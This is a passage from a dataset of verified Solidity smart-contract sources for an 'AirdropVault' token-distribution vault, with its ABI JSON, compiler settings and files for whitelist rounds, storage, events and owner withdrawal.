,"name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/vaults/BaseVault.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../libraries/ClaimVaultLib.sol";
import "../common/AccessibleCommon.sol";
import "./BaseVaultStorage.sol";
import "./VaultEvent.sol";
contract BaseVault is BaseVaultStorage, AccessibleCommon, VaultEvent {
///@dev initialization function
///@param _totalAllocatedAmount total allocated amount
///@param _totalTgeCount total tge count
///@param _startTime start time
///@param _periodTimesPerClaim period time per claim
function initializeBase(
uint256 _totalAllocatedAmount,
uint256 _totalClaims,
uint256 _totalTgeCount,
uint256 _startTime,
uint256 _periodTimesPerClaim
)
public
onlyOwner
nonZero(_totalAllocatedAmount)
nonZero(_totalClaims)
nonZero(_startTime)
nonZero(_periodTimesPerClaim)
{
require(
IERC20(tos).balanceOf(address(this)) >= _totalAllocatedAmount,
"BaseVault: balanceOf is insuffient"
);
require(totalAllocatedAmount == 0, "BaseVault: already initialized");
totalAllocatedAmount = _totalAllocatedAmount;
totalClaims = _totalClaims;
totalTgeCount = _totalTgeCount;
startTime = _startTime;
periodTimesPerClaim = _periodTimesPerClaim;
endTime = _startTime + (_periodTimesPerClaim * _totalClaims);
}
receive() external payable {
revert("cannot receive Ether");
}
///@dev set max input at once time of whitelist
///@param _maxInputOnceTime max input at once time
function setMaxInputOnceTimeWhitelist(uint256 _maxInputOnceTime)
external
onlyOwner
nonZero(_maxInputOnceTime)
nonSame(maxInputOnceTime, _maxInputOnceTime)
{
maxInputOnceTime = _maxInputOnceTime;
}
///@dev Register the white list for the round.
///@param round it is the period unit can claim once
///@param users people who can claim in that round
function addWhitelist(uint256 round, address[] calldata users)
external
onlyOwner
nonZero(round)
validTgeRound(round)
validMaxInputOnceTime(users.length)
{
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
require(!tgeinfo.started, "BaseVault: already started");
for (uint256 i = 0; i < users.length; i++) {
if (
users[i] != address(0) && !tgeinfo.claimedTime[users[i]].joined
) {
tgeinfo.claimedTime[users[i]].joined = true;
tgeinfo.whitelist.push(users[i]);
}
}
emit AddedWhitelist(round, users);
}
function currentRound() public view returns (uint256 round) {
if (block.timestamp < startTime) {
round = 0;
} else {
round = (block.timestamp - startTime) / periodTimesPerClaim;
round++;
}
}
///@dev Amount that can be withdrawn by the owner
function availableWithdrawAmount() public view returns (uint256 amount) {
uint256 balance = IERC20(tos).balanceOf(address(this));
uint256 remainSendAmount = totalAllocatedAmount - totalClaimedAmount;
require(balance >= remainSendAmount, "BaseVault: insufficent");
amount = balance - remainSendAmount;
}
///@dev withdraw to whom
///@param to to address to send
function withdraw(address to) external onlyOwner nonZeroAddress(to) {
uint256 amount = availableWithdrawAmount();
require(amount > 0, "BaseVault: no withdrawable amount");
require(
IERC20(tos).transfer(to, amount),
"BaseVault: transfer fail"
);
emit Withdrawal(msg.sender, amount);
}
///@dev get Tge infos
///@param round it is the period unit can claim once
///@return allocated whether allocated
///@return started whether started
///@return allocatedAmount allocated amount
///@return claimedCount claimed count
///@return amount the claimeable amount by person in TGE period
///@return whitelist who can claim in TGE period
function getTgeInfos(uint256 round)
external
view
nonZero(round)
validTgeRound(round)
returns (
bool allocated,
bool started,
uint256 allocatedAmount,
uint256 claimedCount,
uint256 amount,
address[] memory whitelist
)
{
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
return (
tgeinfo.allocated,
tgeinfo.started,
tgeinfo.allocatedAmount,
tgeinfo.claimedCount,
tgeinfo.amount,
tgeinfo.whitelist
);
}
///@dev get the claim info of whitelist's person
///@param round it is the period unit can claim once
///@param user person in whitelist
///@return joined whether joined
///@return claimedTime the claimed time
function getWhitelistInfo(uint256 round, address user)
external
view
nonZero(round)
validTgeRound(round)
returns (bool joined, uint256 claimedTime)
{
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
if (tgeinfo.claimedTime[user].joined)
return (
tgeinfo.claimedTime[user].joined,
tgeinfo.claimedTime[user].claimedTime
);
}
///@dev get the total count of whitelist in round
///@param round it is the period unit can claim once
///@return total the total count of whitelist in round
function totalWhitelist(uint256 round)
external
view
nonZero(round)
validTgeRound(round)
returns (uint256 total)
{
ClaimVaultLib.TgeInfo storage tgeinfo = tgeInfos[round];
total = tgeinfo.whitelist.length;
}
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/vaults/VaultWhitelistStorage.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
contract VaultWhitelistStorage {
uint256 public allocatedAmountForRound;
uint256 public lastClaimedRound;
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/vaults/BaseVaultStorage.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "../libraries/ClaimVaultLib.sol";
contract BaseVaultStorage {
uint256 public maxInputOnceTime;
///
string public name;
///
address public tos;
uint256 public totalAllocatedAmount;
uint256 public totalClaimedAmount;
// uint256 public totalClaims;
uint256 public startTime;
uint256 public endTime;
uint256 public periodTimesPerClaim;
uint256 public totalClaims;
uint256 public totalTgeCount;
uint256 public totalTgeAmount;
/// round => TgeInfo
mapping(uint256 => ClaimVaultLib.TgeInfo) public tgeInfos;
mapping(address => uint256) public userClaimedAmount;
modifier nonZeroAddress(address _addr) {
require(_addr != address(0), "BaseVaultStorage: zero address");
_;
}
modifier nonZero(uint256 _value) {
require(_value > 0, "BaseVaultStorage: zero value");
_;
}
modifier nonSame(uint256 _value1, uint256 _value2) {
require(_value1 != _value2, "BaseVault: same value");
_;
}
modifier nonSameAddress(address _value1, address _value2) {
require(_value1 != _value2, "BaseVault: same address");
_;
}
modifier validTgeRound(uint256 _round) {
require(_round <= totalTgeCount, "BaseVault: exceed available round");
_;
}
modifier validMaxInputOnceTime(uint256 _length) {
require(
_length > 0 && _length <= maxInputOnceTime,
"BaseVault: check input count at once time"
);
_;
}
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"totalWhitelist","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"transferAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfos","outputs":[{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"unclaimedInfosDetails","outputs":[{"internalType":"uint256[]","name":"_rounds","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | 0000000000000000000000001b481bca7156e990e2d90d1ec556d929340e9fc300000000000000000000000000000000000000000000000000000000000007d0 | Default | false | ||||
AirdropVault | contracts/vaults/VaultEvent.sol | 0x0620492babe0a2ce13688025f8b783b8d6c28955 | Solidity | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
contract VaultEvent {
/// @dev event on set claimer
/// @param newClaimer new claimer address
event SetNewClaimer(address newClaimer);
/// @dev event on allocate amount
///@param round it is the period unit can claim once
///@param amount total claimable amount
event AllocatedAmount(uint256 round, uint256 amount);
/// @dev event on add whitelist
///@param round it is the period unit can claim once
///@param users people who can claim in that round
event AddedWhitelist(uint256 round, address[] users);
/// @dev event on start round
///@param round it is the period unit can claim once
event StartedRound(uint256 round);
/// @dev event on start
event Started();
/// @dev event on claim
///@param caller claimer
///@param amount the claimed amount of caller
///@param totalClaimedAmount total claimed amount
event Claimed(
address indexed caller,
uint256 amount,
uint256 totalClaimedAmount
);
/// @dev event on withdraw
///@param caller owner
///@param amount the withdrawable amount of owner
event Withdrawal(address indexed caller, uint256 amount);
} | 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und","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"getWhitelistInfo","outputs":[{"internalType":"bool","name":"joined","type":"bool"},{"internalType":"uint256","name":"claimedTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalAllocatedAmount","type":"uint256"},{"internalType":"uint256","name":"_totalClaims","type":"uint256"},{"internalType":"uint256","name":"_totalTgeCount","type":"uint256"},{"internalType":"uint256","name":"_startTime","type":"uint256"},{"internalType":"uint256","name":"_periodTimesPerClaim","type":"uint256"}],"name":"initializeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastClaimedRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxInputOnceTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"periodTimesPerClaim","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxInputOnceTime","type":"uint256"}],"name":"setMaxInputOnceTimeWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startRound","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"round","type":"uint256"}],"name":"startRoundTime","outputs":[{"internalType":"uint256","name":"start","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tgeInfos","outputs":[{"internalType":"bool","name":"allocated","type":"bool"},{"internalType":"bool","name":"started","type":"bool"},{"internalType":"uint256","name":"allocatedAmount","type":"uint256"},{"internalType":"uint256","name":"claimedCount","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tos","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocatedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaimedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTgeCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name"